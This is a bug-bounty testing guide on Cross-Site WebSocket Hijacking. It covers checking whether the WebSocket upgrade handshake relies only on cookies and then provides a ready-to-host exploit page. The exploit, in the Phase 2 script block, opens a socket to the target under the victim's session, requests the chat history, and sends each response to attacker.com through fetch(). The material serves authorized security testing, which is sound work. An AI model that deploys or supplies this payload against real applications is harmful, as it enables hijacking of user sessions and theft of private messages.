websocket-hijacking-testing

WebSocket Security and Hijacking

When to Use

• When traffic relies on wss:// (WebSocket Secure) protocol instead of standard HTTPS API requests.
• When attacking applications boasting "real-time" sync (live stock tickers, crypto charts, messaging apps, multiplayer games).
• To detect Cross-Site WebSocket Hijacking (CSWSH), which allows an attacker to establish a valid bidirectional socket over the victim's session.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Analyzing the Handshake

# Concept: WebSockets begin life as a standard HTTP GET request seeking an "Upgrade"
# to the WebSocket protocol. If the server authenticates this solely via Cookies without
# CSRF protection (like an Anti-CSRF token), it is vulnerable to CSWSH.

# 1. Intercept the Connection Upgrade in Burp Suite
GET /chat/socket HTTP/1.1
Host: wss.target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Cookie: session_id=xyz123...

# Observe: Is there an Anti-CSRF token in the URL or headers? (e.g., `?token=random123`)
# If NO, and the connection relies strictly on the `session_id` cookie, proceed to Phase 2.

Phase 2: Cross-Site WebSocket Hijacking (CSWSH) Execution

<!-- Concept: Similar to CSRF, we trick the victim's browser into executing an action. -->
<!-- However, CSWSH is devastating because the attacker gains a persistent, TWO-WAY 
     read/write connection to the application, unlike normal CSRF which is "fire and forget". -->

<!-- 1. Host this exploit payload on attacker.com -->
<!-- When the victim views this page, their browser automatically attaches their `session_id` cookie. -->

<script>
    // Initiate the WebSocket connection to the target
    var ws = new WebSocket('wss://wss.target.com/chat/socket');
    
    // When the socket opens, send a command simulating the victim
    ws.onopen = function() {
        ws.send(JSON.stringify({"action": "get_chat_history"}));
    };
    
    // When the server responds with the massive chat history payload...
    ws.onmessage = function(event) {
        // Exfiltrate the victim's read data back to our attacker server
        fetch('https://attacker.com/log', {
            method: 'POST',
            body: event.data
        });
    };
</script>